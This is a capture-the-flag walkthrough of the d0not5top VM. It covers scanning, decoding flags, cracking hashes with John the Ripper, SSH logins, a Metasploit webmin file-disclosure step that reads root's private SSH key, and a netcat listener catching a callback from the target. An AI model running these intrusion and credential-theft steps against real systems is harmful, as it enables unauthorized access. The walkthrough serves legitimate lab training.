Hack the d0not5top VM (CTF Challenge)

This time we are going to solve a fun Vulnerable Lab d0not5top 1.2. To do so we are going to download the VM Machine from here.

The credit for developing this VM machine is goes to 3mrgnc3 who has hide 7 flag inside this lab as a challenge for hackers.

Let’s Breach!!!

As always, Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.113 but you will have to find your own)

netdiscover

Next we run nmap

nmap -sV 192.168.1.113

Now, visit the IP in the Browser.

Since we I didn’t found something interesting when explore its IP in browser therefore now I am going to scan the Web Content by using dirb in kali linux.

dirb http://192.168.1.113

As you can observe from above image I had highlighted a URL which indicates toward the control panel of website lets open 192.168.1.113/control in the Browser. Yes it is DNS control panel but I didn’t found any clue for 1st flag on this web page.

After that move towards its view source page and notice FL46_1 which indicate it is the 1st flag.

Wonderful!! Successfully found 1st flag

From the scanning result of dirb we found so many web directories in this machine therefore further I choose 192.168.1.113/control/js Directory. In this I found a File README.MadBro. It will open as shown below.

 Now here we found a Binary code which is to be converted into Decimal. On conversion you will find FL46_2:30931r42q2svdfsxk9i13ry4f2srtr98h2

Great!! Successfully get 2nd Flag.

Now, for third flag, we will use netcat very verbrose mode on port 25 which hosts smtpd service (This can be found by doing an aggressive nmap scan on the IP)

nc -vv 192.168.1.113 25

Here we found a Hexadecimal code which is to be converted in Text.

Great!! Successfully get 3nd Flag also.

On the url on which we found Second Flag, There is an instruction written in Leet, It reads: M4K3 5UR3 2 S3TUP YOUR /3TC/HO5TS N3XT TIM3 L0053R… 1T’5 D0Not5topMe.ctf!!! So we will go to /etc/hosts and add an entry as shown in given image.

Now open donot5topme.ctf in the browser as shown and Click on Register given at the end of web page.

As you can observe that we didn’t found any clue on this web page therefore open view source page.

At View Page Source, here we found this link as shown in highlighted text.

Such kind of encoded web page is open then I search in google related to this encoding. It is known as brain fuck encoding.

So we will decrypt it. Here we got the FL46_4

Successfully found 4th flag

Now move back to the d0not5topme.ctf. Now we will click on Register and Then on I agree to these terms and we will get to Registration Page. Here we click on Board Administration, which opens a prompt which asks for the client to open mailto link, here I choose Gmail.

Here I found another ctf “Megusta@G4M35.ctf

Now let’s add G4M35.ctf into /etc/hosts as we did before and click on Save.

When I open this domain in browser, I got a game to play, although you can get the next clue by playing too, but I  thought of a more technical approach and open this webpage and with Inspect Element. Now select the Debugger Tab. Here I found game.js and inside the Game_Over script I found the next clue as “/H3X6L4m3

Now open the complete link “g4m35.ctf/H3X6L4m3” on this domain it gave me another game.

Again we can play and discover the next clue/flag. But we went to get a bit technical approach and ran a dirb command to look after its directories.

dirb http://g4m35.ctf/H3x6L64m3/ /usr/share/wordlists/dirb/big.txt

From given result I had highlighted http://g4m35.ctf/H3x6L64m3/textures/ for further enumeration.

Now I have opened this textures directory in the browser, here I open the skybox directory and then the dawnclouds directory and found the nz.jpg file as shown.

Now open this image and got the octal code.

When decode this code I found FL46_5

I had Captured 5th flag also!!

Now get back to the second game http://g4m35.ctf/H3x6L64m3 and open with Inspect Element. Now select the Debugger Tab. Here I found Gameplay.js and got another domain “t3rmln4l.ctf” as shown below.

Now let’s add t3rmln4l.ctf into /etc/hosts as we did before and click on Save.

Now as before, while opening this domain in browser, I got a Terminal which asks for password. After trying a bunch of commands, I found grep* runs on this terminal and for authentication I entered the name of domain as password i.e t3rm1a4l.ctf and found another domain “M36u574.ctf”.

Now let’s add M36u574.ctf also into /etc/hosts as we did before and click on Save.

Now as before, you will open this domain in browser, you will get a slideshow of Megusta images. Out of different images I have downloaded the kingmegusta.jpg.

 Now we will run exiftool on this image, here I got some code in Comment as shown below.

Now convert the code to Text and found following code as shown in image. Copy this code it is base64 encoded.

Then I had created a text file on /root/Desktop/ name anything you want and Paste the above decoded text in this file.

Now run John The Ripper, using this file as shown

john –wordlist=/usr/share/wordlists/rockyou.txt donotstop

Here I found a user MeGustaKing and Password ********** (10 times *).

Now using this username and password combination we will login into the ssh. Here we get a code and another username and password combination i.e. burtieo:Lets you update your FunNotes and more! But first let’s decode that highlighted code.

Copy and paste above code inside it. It is in base64 encryption, after decrypting the code we found that it is md5 encoded.

Great! It is the 6th Flag.

As mentioned above in the previous ssh login we got this username burtieo and its password is the text written above it i.e. Lets you update your FunNotes and more!

Now let’s login in ssh using combination

Username : burtieo and Password : Lets you update your FunNotes and more!

This opens rbash shell and rbash shell restricts some of the features of bash shell.

So, firstly run following command

suedoh –l

And then we run the command

suedoh /usr/bin/wmstrt

Using nmap command I found up the port 10000 open.

But this port only remains open for 20 seconds, we can make it stay open for long using “for loop” as shown.

Now let’s run metasploit and use the exploit named file_disclosure

 msf> use auxiliary/admin/webmin/file_disclosure

msf> auxiliary (file_disclosure) > set lhost 192.168.1.113

msf> auxiliary (file_disclosure) > set ssl true

msf> auxiliary (file_disclosure) > set rpath /root/.ssh/id_rsa

msf> auxiliary (file_disclosure) > exploit

I found the RSA Private Key as shown.

 

Now Copy and Paste this Private Key in a file and name it id_rsa and then Run John The Ripper.

ssh2john id_rsa> ignite

john –wordlist:/usr/share/wordlists/rockyou.txt ignite

This has given the root password .i.e. “gustateamo

Now I have removed permissions of id_rsa by chmod 700 and login into ssh as root with password gustateamo as shown below.

Now type following command

ls

You can observe from given image it consist two file let open one of them

cat L45T_fl46.pl

Here it gave the message to use L45T_fl46.pl

Now use netcat command to establish connection with target through port 1234.

nc -lp 1234 –vv

Now in D0Not5top terminal we will open file L45T_fl46.pl with IP 192.168.0.7 (Kali Linux IP) as given below:

./ L45T_fl46.pl 192.168.0.7 1234

On attacker system it will you will found get netcat connect with targeted system. The highlighted text is indicating toward FL46_7

Congratulations!! It is the 7th Flag.

Solving this lab was a fun and learning experience.

Author: Rajat Chikara is An Ethical HackerCyber Security Expert, Penetration Tester, India.

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